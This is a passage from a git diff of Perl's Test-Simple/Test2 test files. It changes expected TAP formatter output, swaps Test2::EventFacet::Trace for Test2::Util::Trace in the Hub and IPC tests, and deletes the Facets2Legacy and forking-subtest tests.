grabber(); - + $one->set_buffered(0); is_deeply( - [$it->event_tap({plan => {count => 5}, assert => {pass => 1}}, 1)], + [$fmt->event_tap($one, 5)], [ - [OUT_STD, "1..5\n"], - [OUT_STD, "ok 1\n"], + [OUT_STD, "ok 5 - foo\n"], ], - "Plan then assertion for first assertion" + "Got Unbuffered TAP output" ); - $it->{made_assertion} = 1; + $one = $st->new( + trace => $trace, + pass => 0, + buffered => 1, + name => 'bar', + subtest_id => '1-1-1', + subevents => [ + Test2::Event::Ok->new(trace => $trace, name => 'first', pass => 1), + Test2::Event::Ok->new(trace => $trace, name => 'second', pass => 0), + Test2::Event::Ok->new(trace => $trace, name => 'third', pass => 1), - is_deeply( - [$it->event_tap({plan => {count => 5}, assert => {pass => 1}}, 2)], - [ - [OUT_STD, "ok 2\n"], - [OUT_STD, "1..5\n"], - ], - "Assertion then plan for additional assertions" - ); + Test2::Event::Diag->new(trace => $trace, message => 'blah blah'), - $it->{made_assertion} = 0; - is_deeply( - [ - $it->event_tap( - { - plan => {count => 5}, - assert => {pass => 0}, - errors => [{details => "foo"}], - info => [ - {tag => 'DIAG', debug => 1, details => 'xxx'}, - {tag => 'NOTE', debug => 0, details => 'yyy'}, - ], - control => {halt => 1, details => 'blah'}, - about => {details => 'xyz'}, - }, - 1 - ) - ], - [ - [OUT_STD, "1..5\n"], - [OUT_STD, "not ok 1\n"], - [OUT_ERR, "# Failed test [No trace info available]\n"], - [OUT_ERR, "# foo\n"], - [OUT_ERR, "# xxx\n"], - [OUT_STD, "# yyy\n"], - [OUT_STD, "Bail out! blah\n"], + Test2::Event::Plan->new(trace => $trace, max => 3), ], - "All facets displayed" ); - is_deeply( - [ - $it->event_tap( - { - plan => {count => 5}, - about => {details => 'xyz'}, - }, - 1 - ) - ], - [[OUT_STD, "1..5\n"]], - "Plan blocks details" - ); + { + local $ENV{HARNESS_IS_VERBOSE}; + is_deeply( + [$fmt->event_tap($one, 5)], + [ + [OUT_STD, "not ok 5 - bar {\n"], + [OUT_STD, " ok 1 - first\n"], + [OUT_STD, " not ok 2 - second\n"], + [OUT_STD, " ok 3 - third\n"], + [OUT_ERR, " # blah blah\n"], + [OUT_STD, " 1..3\n"], + [OUT_STD, "}\n"], + ], + "Got Buffered TAP output (non-verbose)" + ); + } + { + local $ENV{HARNESS_IS_VERBOSE} = 1; + is_deeply( + [$fmt->event_tap($one, 5)], + [ + [OUT_STD, "not ok 5 - bar {\n"], + [OUT_STD, " ok 1 - first\n"], + [OUT_STD, " not ok 2 - second\n"], + [OUT_STD, " ok 3 - third\n"], + [OUT_ERR, " # blah blah\n"], + [OUT_STD, " 1..3\n"], + [OUT_STD, "}\n"], + ], + "Got Buffered TAP output (verbose)" + ); + } + + { + local $ENV{HARNESS_IS_VERBOSE}; + $one->set_buffered(0); + is_deeply( + [$fmt->event_tap($one, 5)], + [ + # In unbuffered TAP the subevents are rendered outside of this. + [OUT_STD, "not ok 5 - bar\n"], + ], + "Got Unbuffered TAP output (non-verbose)" + ); + } + + { + local $ENV{HARNESS_IS_VERBOSE} = 1; + $one->set_buffered(0); + is_deeply( + [$fmt->event_tap($one, 5)], + [ + # In unbuffered TAP the subevents are rendered outside of this. + [OUT_STD, "not ok 5 - bar\n"], + ], + "Got Unbuffered TAP output (verbose)" + ); + } +}; + +tests skip => sub { + my $skip = Test2::Event::Skip->new(trace => $trace, pass => 1, name => 'foo', reason => 'xxx'); + my @tap = $fmt->event_tap($skip, 7); is_deeply( + \@tap, [ - $it->event_tap( - { - assert => {pass => 0, no_debug => 1}, - about => {details => 'xyz'}, - }, - 1 - ) + [OUT_STD, "ok 7 - foo # skip xxx\n"], ], - [[OUT_STD, "not ok 1\n"]], - "Assert blocks details" + "Passing Skip" ); + $skip->set_pass(0); + @tap = $fmt->event_tap($skip, 7); is_deeply( + \@tap, [ - $it->event_tap( - { - errors => [{details => "foo"}], - about => {details => 'xyz'}, - }, - 1 - ) + [OUT_STD, "not ok 7 - foo # skip xxx\n"], ], - [[OUT_ERR, "# foo\n"]], - "Error blocks details" + "Failling Skip" ); + $skip->set_todo("xxx"); + @tap = $fmt->event_tap($skip, 7); is_deeply( + \@tap, [ - $it->event_tap( - { - info => [ - {tag => 'DIAG', debug => 1, details => 'xxx'}, - {tag => 'NOTE', debug => 0, details => 'yyy'}, - ], - about => {details => 'xyz'}, - }, - 1 - ) + [OUT_STD, "not ok 7 - foo # TODO & SKIP xxx\n"], ], - [ - [OUT_ERR, "# xxx\n"], - [OUT_STD, "# yyy\n"], - ], - "Info blocks details" + "Todo Skip" ); +}; - is_deeply( - [ - $it->event_tap( - { - control => {halt => 1, details => 'blah'}, - about => {details => 'xyz'}, - }, - 1 - ) - ], - [[OUT_STD, "Bail out! blah\n"]], - "Halt blocks details" +tests version => sub { + require Test2::Event::TAP::Version; + my $ver = Test2::Event::TAP::Version->new( + trace => $trace, + version => '2', ); is_deeply( - [$it->event_tap({about => {details => 'xyz'}}, 1)], - [[OUT_STD, "# xyz\n"]], - "Fallback to summary" + [$fmt->event_tap($ver, 1)], + [[OUT_STD, "TAP version 2\n"]], + "Got tap" ); - - ok(!$$out, "No std output yet"); - ok(!$$err, "No err output yet"); }; -tests write => sub { - my ($it, $out, $err) = grabber(); - - local $ENV{HARNESS_ACTIVE} = 0; - local $ENV{HARNESS_IS_VERBOSE} = 0; - - { - local $\ = 'oops1'; - local $, = 'oops2'; - $it->write( - undef, 1, - { - plan => {count => 5}, - assert => {pass => 0}, - errors => [{details => "foo"}], - info => [ - {tag => 'DIAG', debug => 1, details => 'xxx'}, - {tag => 'NOTE', debug => 0, details => 'yyy'}, - ], - control => {halt => 1, details => 'blah'}, - about => {details => 'xyz'}, - }, - ); - - $it->write(undef, 2, {assert => {pass => 1}, trace => {nested => 1}}); - } - - is($it->{_last_fh}, $it->handles->[OUT_STD], "Set last handle"); - - is($$out, <<" EOT", "STDOUT is as expected"); -1..5 -not ok 1 -# yyy -Bail out! blah - ok 2 - EOT - - is($$err, <<" EOT", "STDERR is as expected"); -# Failed test [No trace info available] -# foo -# xxx - EOT -}; done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Hub.t b/cpan/Test-Simple/t/Test2/modules/Hub.t index 50e1497ed258..1d31a6097f88 100644 --- a/cpan/Test-Simple/t/Test2/modules/Hub.t +++ b/cpan/Test-Simple/t/Test2/modules/Hub.t @@ -33,7 +33,7 @@ tests basic => sub { my $send_event = sub { my ($msg) = @_; - my $e = My::Event->new(msg => $msg, trace => Test2::EventFacet::Trace->new(frame => ['fake', 'fake.t', 1])); + my $e = My::Event->new(msg => $msg, trace => 'fake'); $hub->send($e); }; @@ -55,7 +55,7 @@ tests follow_ups => sub { my $hub = Test2::Hub->new; $hub->set_count(1); - my $trace = Test2::EventFacet::Trace->new( + my $trace = Test2::Util::Trace->new( frame => [__PACKAGE__, __FILE__, __LINE__], ); @@ -102,7 +102,7 @@ tests IPC => sub { my $build_event = sub { my ($msg) = @_; - return My::Event->new(msg => $msg, trace => Test2::EventFacet::Trace->new(frame => ['fake', 'fake.t', 1])); + return My::Event->new(msg => $msg, trace => 'fake'); }; my $e1 = $build_event->('foo'); @@ -121,8 +121,11 @@ tests IPC => sub { my $old = $hub->format(My::Formatter->new); ok($old->isa('My::Formatter'), "old formatter"); - is(@$old, 3, "Formatter got all events ($name)"); - ok($_->{hubs}, "Set the hubs") for @$old; + is_deeply( + $old, + [$e1, $e2, $e3], + "Formatter got all events ($name)" + ); }; if (CAN_REALLY_FORK) { @@ -172,7 +175,7 @@ tests listen => sub { my $ok1 = Test2::Event::Ok->new( pass => 1, name => 'foo', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -180,7 +183,7 @@ tests listen => sub { my $ok2 = Test2::Event::Ok->new( pass => 0, name => 'bar', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -188,7 +191,7 @@ tests listen => sub { my $ok3 = Test2::Event::Ok->new( pass => 1, name => 'baz', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -269,7 +272,7 @@ tests filter => sub { my $ok1 = Test2::Event::Ok->new( pass => 1, name => 'foo', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -277,7 +280,7 @@ tests filter => sub { my $ok2 = Test2::Event::Ok->new( pass => 0, name => 'bar', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -285,7 +288,7 @@ tests filter => sub { my $ok3 = Test2::Event::Ok->new( pass => 1, name => 'baz', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -339,7 +342,7 @@ tests pre_filter => sub { my $ok1 = Test2::Event::Ok->new( pass => 1, name => 'foo', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -347,7 +350,7 @@ tests pre_filter => sub { my $ok2 = Test2::Event::Ok->new( pass => 0, name => 'bar', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -355,7 +358,7 @@ tests pre_filter => sub { my $ok3 = Test2::Event::Ok->new( pass => 1, name => 'baz', - trace => Test2::EventFacet::Trace->new( + trace => Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__ ], ), ); @@ -446,7 +449,7 @@ tests state => sub { ok(!eval { $hub->plan(5); 1 }, "Cannot change plan"); like($@, qr/You cannot change the plan/, "Got error"); - my $trace = Test2::EventFacet::Trace->new(frame => ['Foo::Bar', 'foo.t', 42, 'blah']); + my $trace = Test2::Util::Trace->new(frame => ['Foo::Bar', 'foo.t', 42, 'blah']); $hub->finalize($trace); my $ok = eval { $hub->finalize($trace) }; my $err = $@; diff --git a/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t b/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t index 1f440ad3f65d..b0bf9f029fc6 100644 --- a/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t +++ b/cpan/Test-Simple/t/Test2/modules/Hub/Subtest.t @@ -53,12 +53,13 @@ ok($one->isa('Test2::Hub'), "inheritence"); my $ok = Test2::Event::Ok->new( pass => 1, name => 'blah', - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']), ); def is => ($one->process($ok), 'P!', "processed"); def is => ($ran, 1, "ran the mocked process"); def is => ($event, $ok, "got our event"); + def is => ($event->nested, 3, "nested was set"); def is => ($one->bailed_out, undef, "did not bail"); $ran = 0; @@ -66,18 +67,20 @@ ok($one->isa('Test2::Hub'), "inheritence"); my $bail = Test2::Event::Bail->new( message => 'blah', - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']), ); def is => ($one->process($bail), 'P!', "processed"); def is => ($ran, 1, "ran the mocked process"); def is => ($event, $bail, "got our event"); + def is => ($event->nested, 3, "nested was set"); + def is => ($one->bailed_out, $event, "bailed"); } do_def; my $skip = Test2::Event::Plan->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__], pid => $$, tid => get_tid), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__], pid => $$, tid => get_tid), directive => 'SKIP', reason => 'foo', ); diff --git a/cpan/Test-Simple/t/Test2/modules/IPC.t b/cpan/Test-Simple/t/Test2/modules/IPC.t index 38be3b8f1054..ddd49c0d9e87 100644 --- a/cpan/Test-Simple/t/Test2/modules/IPC.t +++ b/cpan/Test-Simple/t/Test2/modules/IPC.t @@ -2,7 +2,7 @@ use strict; use warnings; use Test2::IPC qw/cull/; -use Test2::API qw/context test2_ipc_drivers test2_ipc intercept/; +use Test2::API qw/context test2_ipc_drivers test2_ipc/; use Test2::Tools::Tiny; @@ -16,6 +16,4 @@ is_deeply( ok(__PACKAGE__->can('cull'), "Imported cull"); -ok(eval { intercept { Test2::IPC->import }; 1 }, "Can re-import Test2::IPC without error") or diag $@; - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t b/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t index d5ebbd5fd241..cbdca09b776d 100644 --- a/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t +++ b/cpan/Test-Simple/t/Test2/modules/IPC/Driver.t @@ -25,8 +25,6 @@ for my $meth (qw/send cull add_hub drop_hub waiting is_viable/) { ); } -SKIP: { - last SKIP if $] lt "5.008"; tests abort => sub { my $one = Test2::IPC::Driver->new(no_fatal => 1); my ($err, $out) = ("", ""); @@ -40,7 +38,7 @@ tests abort => sub { } is($err, "IPC Fatal Error: foo\n", "Got error"); - is($out, "Bail out! IPC Fatal Error: foo\n", "got 'bail-out' on stdout"); + is($out, "not ok - IPC Fatal Error\n", "got 'not ok' on stdout"); ($err, $out) = ("", ""); @@ -52,9 +50,8 @@ tests abort => sub { $one->abort_trace('foo'); } - like($out, qr/Bail out! IPC Fatal Error: foo/, "got 'bail-out' on stdout"); + is($out, "not ok - IPC Fatal Error\n", "got 'not ok' on stdout"); like($err, qr/IPC Fatal Error: foo/, "Got error"); }; -} done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t b/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t index 8626b1fb6542..367d0ef6a082 100644 --- a/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t +++ b/cpan/Test-Simple/t/Test2/modules/IPC/Driver/Files.t @@ -6,11 +6,6 @@ use List::Util qw/shuffle/; use strict; use warnings; -if ($] lt "5.008") { - print "1..0 # SKIP Test cannot run on perls below 5.8.0\n"; - exit 0; -} - sub simple_capture(&) { my $code = shift; @@ -130,12 +125,10 @@ ok(!-d $tmpdir, "cleaned up temp dir"); } { - no warnings qw/once redefine/; - local *Test2::IPC::Driver::Files::driver_abort = sub {}; + no warnings 'once'; local *Test2::IPC::Driver::Files::abort = sub { my $self = shift; local $self->{no_fatal} = 1; - local $self->{no_bail} = 1; $self->Test2::IPC::Driver::abort(@_); die 255; }; @@ -177,6 +170,8 @@ ok(!-d $tmpdir, "cleaned up temp dir"); }; $cleanup->(); + is($out->{STDOUT}, "not ok - IPC Fatal Error\nnot ok - IPC Fatal Error\n", "printed "); + like($out->{STDERR}, qr/IPC Temp Dir: \Q$tmpdir\E/m, "Got temp dir path"); like($out->{STDERR}, qr/^# Not removing temp dir: \Q$tmpdir\E$/m, "Notice about not closing tempdir"); @@ -186,7 +181,7 @@ ok(!-d $tmpdir, "cleaned up temp dir"); $out = simple_capture { my $ipc = Test2::IPC::Driver::Files->new(); $ipc->add_hub($hid); - my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']); + my $trace = Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']); my $e = eval { $ipc->send($hid, bless({glob => \*ok, trace => $trace}, 'Foo')); 1 }; print STDERR $@ unless $e || $@ =~ m/^255/; $ipc->drop_hub($hid); @@ -365,7 +360,6 @@ ok(!-d $tmpdir, "cleaned up temp dir"); pid => "123", tid => "456", eid => "789", - file => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo', }, "Parsed global complete" ); @@ -381,7 +375,6 @@ ok(!-d $tmpdir, "cleaned up temp dir"); pid => "123", tid => "456", eid => "789", - file => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo', }, "Parsed global ready" ); @@ -397,7 +390,6 @@ ok(!-d $tmpdir, "cleaned up temp dir"); pid => "123", tid => "456", eid => "789", - file => join ipc_separator, qw'GLOBAL 123 456 789 Event Type Foo', }, "Parsed global not ready" ); @@ -413,7 +405,6 @@ ok(!-d $tmpdir, "cleaned up temp dir"); pid => "123", tid => "456", eid => "789", - file => join ipc_separator, qw'1 1 1 123 456 789 Event Type Foo', }, "Parsed event complete" ); @@ -429,7 +420,6 @@ ok(!-d $tmpdir, "cleaned up temp dir"); pid => "123", tid => "456", eid => "789", - file => join ipc_separator, qw'1 2 3 123 456 789 Event Type Foo', }, "Parsed event ready" ); @@ -445,7 +435,6 @@ ok(!-d $tmpdir, "cleaned up temp dir"); pid => "123", tid => "456", eid => "789", - file => join ipc_separator, qw'3 2 11 123 456 789 Event', }, "Parsed event not ready" ); diff --git a/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t b/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t index 08f87edb6ee9..bdd941db1799 100644 --- a/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t +++ b/cpan/Test-Simple/t/Test2/modules/Tools/Tiny.t @@ -82,23 +82,23 @@ my ($diag, $note) = @$other_events; ok($plan->isa('Test2::Event::Plan'), "got plan"); is($plan->max, 8, "planned for 8 oks"); -ok($ok->isa('Test2::Event::Fail'), "got 'ok' result"); -is($ok->facets->{assert}->pass, 0, "'ok' test failed"); +ok($ok->isa('Test2::Event::Ok'), "got 'ok' result"); +is($ok->pass, 0, "'ok' test failed"); -ok($is->isa('Test2::Event::Fail'), "got 'is' result"); -is($ok->facets->{assert}->pass, 0, "test failed"); +ok($is->isa('Test2::Event::Ok'), "got 'is' result"); +is($is->pass, 0, "'is' test failed"); -ok($isnt->isa('Test2::Event::Fail'), "got 'isnt' result"); -is($ok->facets->{assert}->pass, 0, "test failed"); +ok($isnt->isa('Test2::Event::Ok'), "got 'isnt' result"); +is($isnt->pass, 0, "'isnt' test failed"); -ok($like->isa('Test2::Event::Fail'), "got 'like' result"); -is($ok->facets->{assert}->pass, 0, "test failed"); +ok($like->isa('Test2::Event::Ok'), "got 'like' result"); +is($like->pass, 0, "'like' test failed"); -ok($unlike->isa('Test2::Event::Fail'), "got 'unlike' result"); -is($ok->facets->{assert}->pass, 0, "test failed"); +ok($unlike->isa('Test2::Event::Ok'), "got 'unlike' result"); +is($unlike->pass, 0, "'unlike' test failed"); -ok($is_deeply->isa('Test2::Event::Fail'), "got 'is_deeply' result"); -is($ok->facets->{assert}->pass, 0, "test failed"); +ok($is_deeply->isa('Test2::Event::Ok'), "got 'is_deeply' result"); +is($is_deeply->pass, 0, "'is_deeply' test failed"); ok($diag->isa('Test2::Event::Diag'), "got 'diag' result"); is($diag->message, "Testing Diag", "got diag message"); @@ -129,7 +129,7 @@ $events = intercept { @$events = grep {!$_->isa('Test2::Event::Diag')} @$events; is(@$events, 5, "5 events"); -ok(!$_->facets->{assert}->pass, "undef test - should not pass") for @$events; +ok(!$_->pass, "undef test - should not pass") for @$events; sub tool { context() }; @@ -142,7 +142,7 @@ $events = intercept { $ictx = tool(); $ictx->ok(1, 'pass'); $ictx->ok(0, 'fail'); - my $trace = Test2::EventFacet::Trace->new( + my $trace = Test2::Util::Trace->new( frame => [ __PACKAGE__, __FILE__, __LINE__], ); $ictx->hub->finalize($trace, 1); @@ -194,7 +194,7 @@ $events = intercept { }; is(@$events, 2, "2 events"); -ok($events->[0]->isa('Test2::Event::Pass'), "got a pass"); +ok($events->[0]->isa('Test2::Event::Ok'), "got ok"); ok($events->[1]->isa('Test2::Event::Plan'), "finalize was called"); $events = intercept { @@ -204,7 +204,7 @@ $events = intercept { }; is(@$events, 2, "2 events"); -ok($events->[0]->isa('Test2::Event::Pass'), "got a pass"); +ok($events->[0]->isa('Test2::Event::Ok'), "got ok"); ok($events->[1]->isa('Test2::Event::Plan'), "finalize was called (only 1 plan)"); done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Util.t b/cpan/Test-Simple/t/Test2/modules/Util.t index 88bfd0e41caa..2bca8e300c41 100644 --- a/cpan/Test-Simple/t/Test2/modules/Util.t +++ b/cpan/Test-Simple/t/Test2/modules/Util.t @@ -1,8 +1,6 @@ use strict; use warnings; -use Config qw/%Config/; - use Test2::Tools::Tiny; use Test2::Util qw/ try @@ -15,19 +13,9 @@ use Test2::Util qw/ CAN_THREAD CAN_REALLY_FORK - CAN_SIGSYS - IS_WIN32 - - clone_io /; -BEGIN { - if ($] lt "5.008") { - require Test::Builder::IO::Scalar; - } -} - { for my $try (\&try, Test2::Util->can('_manual_try'), Test2::Util->can('_local_try')) { my ($ok, $err) = $try->(sub { die "xxx" }); @@ -51,38 +39,4 @@ IS_WIN32(); is(IS_WIN32(), ($^O eq 'MSWin32') ? 1 : 0, "IS_WIN32 is correct ($^O)"); -my %sigs = map {$_ => 1} split /\s+/, $Config{sig_name}; -if ($sigs{SYS}) { - ok(CAN_SIGSYS, "System has SIGSYS"); -} -else { - ok(!CAN_SIGSYS, "System lacks SIGSYS"); -} - -my $check_for_sig_sys = Test2::Util->can('_check_for_sig_sys'); -ok($check_for_sig_sys->("FOO SYS BAR"), "Found SIGSYS in the middle"); -ok($check_for_sig_sys->("SYS FOO BAR"), "Found SIGSYS at start"); -ok($check_for_sig_sys->("FOO BAR SYS"), "Found SIGSYS at end"); -ok(!$check_for_sig_sys->("FOO SYSX BAR"), "SYSX is not SYS"); -ok(!$check_for_sig_sys->("FOO XSYS BAR"), "XSYS is not SYS"); - -my $io = clone_io(\*STDOUT); -ok($io, "Cloned the filehandle"); -close($io); - -my $fh; -my $out = ''; -if ($] ge "5.008") { - open($fh, '>', \$out) or die "Could not open filehandle"; -} else { - $fh = Test::Builder::IO::Scalar->new(\$out) or die "Could not open filehandle"; -} - -$io = clone_io($fh); -is($io, $fh, "For a scalar handle we simply return the original handle, no other choice"); -print $io "Test\n"; - -is($out, "Test\n", "wrote to the scalar handle"); - - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t b/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t deleted file mode 100644 index 98eaac60e294..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/Util/Facets2Legacy.t +++ /dev/null @@ -1,144 +0,0 @@ -use strict; -use warnings; -use Test2::Tools::Tiny; - -use Test2::Util::Facets2Legacy ':ALL'; - -my $CLASS; -BEGIN { - $CLASS = 'Test2::Util::Facets2Legacy'; - - # This private function is not exported, but we want to test it anyway - *_get_facet_data = $CLASS->can('_get_facet_data'); -} - -tests _get_facet_data => sub { - my $pass = Test2::Event::Pass->new(name => 'xxx'); - is_deeply( - _get_facet_data($pass), - { - about => {package => 'Test2::Event::Pass', details => 'pass'}, - assert => {pass => 1, details => 'xxx'}, - }, - "Got facet data from event" - ); - - is_deeply( - _get_facet_data({assert => {pass => 1}}), - {assert => {pass => 1}}, - "Facet data gets passed through" - ); - - my $file = __FILE__; - my $line; - like( - exception { $line = __LINE__; _get_facet_data([]) }, - qr/'ARRAY\(.*\)' Does not appear to be either a Test::Event or an EventFacet hashref at \Q$file\E line $line/, - "Must provide sane input data" - ); - - { - package Fake::Event; - use base 'Test2::Event'; - use Test2::Util::Facets2Legacy qw/causes_fail/; - } - - my $e = Fake::Event->new(); - like( - exception { $line = __LINE__; $e->causes_fail }, - qr/Cycle between Facets2Legacy and Fake::Event=HASH\(.*\)->facet_data\(\) \(Did you forget to override the facet_data\(\) method\?\)/, - "Cannot depend on legacy facet_data and Facets2Legacy" - ); -}; - -tests causes_fail => sub { - is(causes_fail({errors => [{fail => 1}]}), 1, "Fatal errors cause failure"); - - is(causes_fail({control => {terminate => 0}}), 0, "defined but 0 termination does not cause failure"); - is(causes_fail({control => {terminate => 1}}), 1, "non-zero defined termination causes failure"); - is(causes_fail({control => {halt => 1}}), 1, "A halt causes failure"); - is(causes_fail({assert => {pass => 0}}), 1, "non-passign assert causes failure"); - - is(causes_fail({assert => {pass => 0}, amnesty => [{}]}), 0, "amnesty prevents assertion failure"); - - is(causes_fail({}), 0, "Default is no failure"); -}; - -tests diagnostics => sub { - is(diagnostics({}), 0, "Default is no"); - - is(diagnostics({errors => [{}]}), 1, "Errors mean diagnostics"); - is(diagnostics({info => [{}]}), 0, "Info alone does not make diagnostics"); - - is(diagnostics({info => [{debug => 1}]}), 1, "Debug flag makes info diagnostics"); -}; - -tests global => sub { - is(global({}), 0, "not global by default"); - is(global({control => {global => 0}}), 0, "global not set"); - is(global({control => {global => 1}}), 1, "global is set"); -}; - -tests increments_count => sub { - is(increments_count({}), 0, "No count bump without an assertion"); - is(increments_count({assert => {}}), 1, "count bump with assertion"); -}; - -tests no_display => sub { - is(no_display({}), 0, "default is no"); - is(no_display({about => {no_display => 0}}), 0, "set to off"); - is(no_display({about => {no_display => 1}}), 1, "set to on"); -}; - -tests subtest_id => sub { - is(subtest_id({}), undef, "none by default"); - is(subtest_id({parent => {hid => 123}}), 123, "use parent hid when present"); -}; - -tests summary => sub { - is(summary({}), '', "no summary without about->details"); - is(summary({about => {details => 'foo'}}), 'foo', "got about->details"); -}; - -tests terminate => sub { - is(terminate({}), undef, "undef by default"); - is(terminate({control => {terminate => undef}}), undef, "undef by choice"); - is(terminate({control => {terminate => 100}}), 100, "got the terminate value"); - is(terminate({control => {terminate => 0}}), 0, "0 is passed through"); -}; - -tests sets_plan => sub { - is_deeply( [sets_plan({})], [], "No plan by default"); - - is_deeply( - [sets_plan({plan => {}})], - [0], - "Empty plan means count of 0, nothing extra" - ); - - is_deeply( - [sets_plan({plan => {count => 100}})], - [100], - "Got simple count" - ); - - is_deeply( - [sets_plan({plan => {count => 0, none => 1}})], - [0, 'NO PLAN'], - "No Plan" - ); - - is_deeply( - [sets_plan({plan => {count => 0, skip => 1}})], - [0, 'SKIP'], - "Skip" - ); - - is_deeply( - [sets_plan({plan => {count => 0, skip => 1, details => 'foo bar'}})], - [0, 'SKIP', 'foo bar'], - "Skip with reason" - ); -}; - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Util/Trace.t b/cpan/Test-Simple/t/Test2/modules/Util/Trace.t index 35b4859bc955..1f87033a4cb7 100644 --- a/cpan/Test-Simple/t/Test2/modules/Util/Trace.t +++ b/cpan/Test-Simple/t/Test2/modules/Util/Trace.t @@ -1,15 +1,15 @@ use strict; use warnings; use Test2::Tools::Tiny; -use Test2::EventFacet::Trace; +use Test2::Util::Trace; like( - exception { 'Test2::EventFacet::Trace'->new() }, + exception { 'Test2::Util::Trace'->new() }, qr/The 'frame' attribute is required/, "got error" ); -my $one = 'Test2::EventFacet::Trace'->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']); +my $one = 'Test2::Util::Trace'->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']); is_deeply($one->frame, ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got frame"); is_deeply([$one->call], ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got call"); is($one->package, 'Foo::Bar', "Got package"); diff --git a/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t b/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t deleted file mode 100644 index b87247d757d7..000000000000 --- a/cpan/Test-Simple/t/Test2/regression/746-forking-subtest.t +++ /dev/null @@ -1,37 +0,0 @@ -use strict; -use warnings; -use Test2::IPC; -use Test2::Tools::Tiny; -use Test2::API qw/context intercept test2_stack/; -use Test2::Util qw/CAN_FORK/; - -BEGIN { - skip_all "System cannot fork" unless CAN_FORK; -} - -my $events = intercept { - Test2::API::run_subtest("this subtest forks" => sub { - if (fork) { - wait; - isnt($?, 0, "subprocess died"); - } else { - # Prevent the exception from being rendered to STDERR, people have - # complained about STDERR noise in tests before. - close STDERR; - die "# Expected warning from subtest"; - }; - }, {no_fork => 1}); -}; - -my @subtests = grep {; $_->isa('Test2::Event::Subtest') } @$events; - -if (is(@subtests, 1, "only one subtest run, effectively")) { - my @subokay = grep {; $_->facets->{assert} } - @{ $subtests[0]->subevents }; - is(@subokay, 1, "we got one test result inside the subtest"); - ok(! $subokay[0]->causes_fail, "...and it passed"); -} else { - # give up, we're already clearly broken -} - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/regression/gh_16.t b/cpan/Test-Simple/t/Test2/regression/gh_16.t index 85e42c623aa5..45e4cd7b7698 100644 --- a/cpan/Test-Simple/t/Test2/regression/gh_16.t +++ b/cpan/Test-Simple/t/Test2/regression/gh_16.t @@ -1,18 +1,6 @@ use strict; use warnings; -# This test checks for a pretty rare condition, one that was mainly a problem -# on 5.20+ (though a 5.8 also had the problem). I am not too worried about this -# breaking again. That said I still want it run on newer perls (where it is -# less likely to fail for an unrelated reason) and when I have AUTHOR_TESTING -# set. -BEGIN { - unless($ENV{AUTHOR_TESTING} || eval "no warnings 'portable'; require 5.20; 1") { - print "1..0 # Skip Crazy test, only run on 5.20+, or when AUTHOR_TESTING is set\n"; - exit 0; - } -} - # This test is for gh #16 # Also see https://rt.perl.org/Public/Bug/Display.html?id=127774 @@ -22,7 +10,7 @@ END { $? = 0 } BEGIN { print "\n1..1\n"; close(STDERR); - open(STDERR, '>&STDOUT'); + open(STDERR, '>&', STDOUT); } use Test2::API; diff --git a/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t b/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t index b425443e00df..a2964fd4026a 100644 --- a/cpan/Test-Simple/t/Test2/regression/ipc_files_abort_exit.t +++ 